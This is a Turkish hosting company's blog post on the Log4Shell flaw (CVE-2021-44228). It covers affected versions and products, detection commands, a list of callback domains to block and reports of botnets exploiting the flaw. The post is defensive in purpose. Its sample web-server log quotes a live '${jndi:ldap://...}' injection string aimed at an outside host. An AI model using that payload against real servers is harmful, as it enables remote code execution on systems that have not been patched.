hosting şirketi
Log4j

Log4j Nedir?

Log4j, Ceki Gülcü ‘nun geliştirdiği, ardından Apache Software Foundation ‘a aktardığı ve birçok 3. Parti Java uygulaması tarafından üretilen java tabanlı bir loglama kütüphanesidir.

Son günlerde tüm dünya, milyonlarca sistemde aktif olarak kullanılan Log4j ‘nin kritik güvenlik açığına odaklanmış durumdadır. Hatta Log4j güvenlik açığının etkisini Google Trends sonuçlarında da görebiliyoruz. Artık CVE-2021-44228 olarak izlenen güvenlik açığı, Log4Shell olarak adlandırılıyor.

Bu blog yazımızda, konuyla ilgili farklı sorumluluk düzeylerinden tüm kesimler için akla gelecek soruları cevaplarla paylaşmak istiyoruz.

Log4j Ne Zaman Çıkmıştır, Ne Amaçla Kullanılır ve Neden Bu Kadar Önemlidir?

Log4j, isteğe bağlı seviye tabanlı loglama yaparak birçok Java uygulamasında aktif olarak yer almaktadır. Bu üçüncü parti yazılım hatasının saldırı düzeyi çok büyüktür. Güvenlik uzmanları, tehdit aktörleri yaygın bir şekilde istismara başladıkça, yama için Log4j çalıştıran uygulamaları belirlemeye çalışmaktadır. Dünya genelinde Java kullanan cihaz sayısının milyarları bulduğu düşünüldüğünde, Log4j’nin beklenmedik yerlerde ortaya çıkması şaşırtıcı değildir.

Log4j’de Ne Kadar Kritik Bir Güvenlik Açığıdır?

Alibaba Bulut güvenlik ekibinden Chen Zhaojun tarafından tespit edilen güvenlik açığı Log4Shell, önümüzdeki yıllarda daha çok tartışılacağa benziyor. O kadar kritik ki, farklı şirketlerin beklenmedik bir anda güvenlik ihlalleri yaşamasına neden oluyor.

Log4j bize 2017’de ortaya çıkan Equifax güvenlik açığını hatırlatıyor. Equifax veri ihlaline neden olan güvenlik açığı, bugün ortaya çıkan Log4j’ ye benziyordu ancak çok masum bir güvenlik açığıydı.

Yetkililer, güvenlik açığının kritiklik düzeyini (CVSS) 10 üzerinden 10 olarak belirledi. Yüksek CVSS puanı, güvenlik açığının hemen düzeltilmesi gerektiğini gösteriyor. 2.0‘dan 2.14.1‘e kadar herhangi bir log4j sürümü kullanıyorsanız, bu güvenlik açığından etkileniyorsunuz demektir. Bu yüzden hemen güvenlik önlemi almanız gerekir.

Log4j güvenlik açığı nasıl çalışır?

Log4j güvenlik açığının temel nedeni uygulamanın günlük mesajları nasıl işlediğidir. Saldırgan, aşağıdaki gibi kötü amaçlı kod içerebilecek özel bir mesaj göndererek kodları uzaktan çalıştırabilir.

Bu kod ekleme, harici bir kod sınıfının veya mesaj aramasının sisteme yüklenmesine ve bu kodun yürütülmesine neden olur.

log4j kodlama

 

Bu Güvenlik Açığından Hangi Log4j Sürümleri Etkileniyor?

Bir uygulamaya dışarıdan bakarak doğrudan Log4j kullanıp kullanmadığını söylemek imkansızdır. Bazı yayıncılar konuyla ilgili olarak Log4j ‘yi hangi servis ve yazılımların kullandığını listelemektedir. Önemli olanlarını aşağıda paylaşıyoruz.

Özetle Java kullanan bir uygulamanız varsa Log4j de kullanılır. Bu nedenle, tüm Java uygulamalarını kontrol etmeli  ve gerekli güvenlik yamalarını uygulamalısınız.

Açık kaynak araçlarıyla Log4j için tarama yapın

Anchor tarafından yönetilen, birçok paketlenmiş biçimi tarayabilen, varlıkları tanımlayabilen ve güvenlik açıkları içerip içermediğini bildirebilen iki açık kaynaklı araç vardır. Bu durumda, JAR dosyalarını, özellikle JAR dosyalarının iç içe katmanlarını kontrol edebilmek çok önemlidir.

Syft bir yazılım malzeme listesi (SBOM) oluşturur ve Grape bir güvenlik açığı tarayıcısıdır. Bu araçların her ikisi de Log4j sürümlerini ortaya çıkarmak ve tanımlamak için birden çok iç içe JAR arşiv katmanını inceleyebilir.

Log4j Güvenlik Açısından Etkilenen Bazı Hizmetler/Üreticiler:

  • Apple
  • Steam
  • Twitter
  • Baidu
  • Tesla
  • Amazon
  • Cisco, F5
  • Citrix
  • Carbon Black
  • Imperva
  • Jenkins
  • McAfee
  • Oracle
  • Webex
  • Palo-Alto Networks
  • Pulse Secure

Log4j Güvenlik Açığından Etkilendiği Belirlenen Ürünler:

  • Altyapısında Java kullanan çoğu uygulama
  • Apache Struts
  • Apache Struts2
  • Apache Tomcat
  • Apache Spark
  • Apache Solr
  • Apache Druid
  • Apache Flink
  • ElasticSearch
  • flume
  • Apache Dubbo
  • Logstash
  • Kafka
  • IBM Qradar SIEM
  • VMWare
  • NetApp

Sistemlerin Güvenlik Açığı Log4j Kullandığını Nasıl Tespit Edebilirsiniz?

Linux sistemlerinizde aşağıdaki komutu çalıştırın

grep -r ‘org/apache/logging/log4j/core/lookup/JndiLookup.class’/

Çıktı “ikili dosya eşleşmeleri” ise, ilgili dosyalar Log4j kitaplığını kullanır.

Windows sistemleri için GitHub deposundan ilgili komutları çalıştırabilirsiniz.

Koda erişiminiz olmayan ancak şüphelendiğiniz sistemler için internette çeşitli test sistemleri dağıtılmaktadır.  Şüphelendiğiniz sistemler için hangisi güvenilirse test kodlarından birini deneyebilirsiniz.

Huntress Labs tarafından sağlanan çevrimiçi test araçlarını da kullanabilirsiniz.

Komut isteminden birden çok web sunucusunu test etmek isterseniz , Nuclei şablonu kullanabilirsiniz. Tek yapmanız gereken, URL listesini içeren bir metin dosyası için aşağıdaki komutu çalıştırmaktır.

nuclei -t cves/2021/CVE-2021-44228.yaml -list urls.txt

Loglara Bakarak Sistemlerinizin Etkilenip Etkilenmediğini Nasıl Belirleyebilirsiniz?

Örnek bir istismar günlüğü, web sunucusunda aşağıdaki gibi günlükler oluşturacaktır.

45.155.205.233  –  – []  “GET / HTTP/1.1” 200 2595 “-“
“${jndi:ldap://45.155.205.233:12344/Basic/Command/Base64/}”

Güvenlik duvarının arkasındaki sistemler için merkezi kontrol

Birinin sistemlerinizde Log4j istismar kodunu çalıştırıp çalıştırmadığını anlamanın en kolay yolu, sunucu sistemlerinizin 80, 443 numaralı bağlantı noktasındaki anormal internet trafiğini kontrol etmektir.

Özellikle kurumsal ortamlarda, sunucu sistemlerinin internete erişimi (olması gerektiği gibi) minimum düzeyde olduğu için, bir güvenlik açığı tespit edilse dahi istismar edilmesi kolay olmayacaktır. Ayrıca giden trafiğin port yerine protokol kısmına bakabiliyorsanız LDAP protokolünü aramak da işinizi kolaylaştıracaktır.

Aşağıdaki DNS adreslerinden kaynaklanan istekler, bu güvenlik açığına ve yararlanma girişimlerine sahip bir sistemin varlığının göstergesidir. DNS Sunucusu, Güvenlik Duvarı veya IDS üzerinde, bu etki alanlarından (ve ayrıca tüm alt etki alanlarından) gönderilen istekleri engelleyen ve alarm oluşturan SIEM kuralları oluşturarak bu girişimleri engellemelisiniz.

pwn.af

. * \. pwn \ .af

.*\.leakix\.net

leakix.net

.*\.interactsh\.com

interactsh.com

.*\.interact\.sh

interact.sh

. * \. burp işbirlikçisi \ .net

burpcollaborator.net

.*\.bingsearchlib\.com

bingsearchlib.com

.*\.canarytokens\.com

canarytokens.com

.*\.kryptoslogic-cve-2021-44228\.com

kryptoslogic-cve-2021-44228.com

dnslog.cn

.*\.dnslog\.cn

world443.log4j.binaryedge.io

world80.log4j.binaryedge.io

requestbin.net

.*\.requestbin\.net

rce.ee

. * \. rce.ee

Bireysel Linux sistemlerini kontrol edin

Bunun dışında Log4j kullandığını bildiğiniz veya şüphelendiğiniz bir Linux sistemi varsa grep/egrep komutları ile logları hızlıca kontrol edebilirsiniz.

/var/login altındaki tüm günlük dosyalarının içeriğinde herhangi bir istismar girişimi olup olmadığını öğrenmek için aşağıdaki komutu kolayca deneyebilirsiniz:

/var/log altında sıkıştırılmış arşiv dosyalarını aramak için GitHub deposunu kontrol edebilirsiniz .

sudo egrep -i -r ‘\$\{jndi:(ldap[s]?|rmi|dns):/[^\n]+’ /var/log

SIEM üzerinden kontrol

SIEM üzerinde kontrol için “jndi:ldap, jndi:rmi, jndi:dns” günlüklerini aramak bir ipucu verecektir.

İnternete Açık Sunuculardaki Güvenlik Açığının Suistimalini Önlemek İçin Kullanabilecekleri IOC’ler Var mı?

Güvenlik açığının yayınlanmasının ardından Log4j kullanan sistemler, farklı ülkelerden yüzlerce IP adresi tarafından tespit edilmeye ve istismar edilmeye başlandı.

Aşağıdaki liste kontrol edilmeli ve olası taramalar için engelleme listesine eklenmelidir.

Aktif Tarama IP Adreslerine buradaki GitHub  bağlantısından ulaşabilirsiniz .

Aşağıdaki bağlantılarda çeşitli IoC listeleri bulunabilir:

WAF, IPS, SIEM gibi Sistemler için Açıkları Tespit Edip Engelleme Kuralları Var mı?

İlk taramalara baktığımızda HTTP/HTTPS üzerinden user-agent değişikliği (Payload kısmını user-agent ile gönderiyorlar) ile ilgili denemeler olduğunu görüyoruz. Bu nedenle WAF ve IPS ilk aşamada önemli bir role sahiptir. Cloudflare   , tüm müşterilerinin bu güvenlik açığına karşı korunduğunu duyurdu .

Ayrıca güvenlik duvarı kurallarında sunucu sistemlerinin LDAP ve RMI portlarının internete erişiminin engellenmesi, saldırganlar örnek paketi LDAP, DNS ve RMI üzerinden internete göndermeye çalıştığı için saldırının etkisini kısmen azaltacaktır.

Log4Shell Güvenlik Açığını Aktif Olarak Kullanan Fidye Yazılım Çetesi, APT Grubu veya Botnet Var mı?

Bugün itibariyle Muhstik, MIRAI adlı iki botnetin log4j kitaplığındaki güvenlik açığından aktif olarak yararlandığı gözlemlenmiştir.

Çinli güvenlik firması Qihoo 360, bir araştırma raporunda, bu güvenlik açığını kötüye kullanan en az on farklı grubu izlediklerini duyurdu.

İsrailli güvenlik firması Check Point, çoğu tehdit aktörünün geçen haftadan bu yana uygulanan tespitlerin bir sonucu olarak, şimdiye kadar Log4j istismarının en az “60 varyasyonunu” gördüklerini belirtti.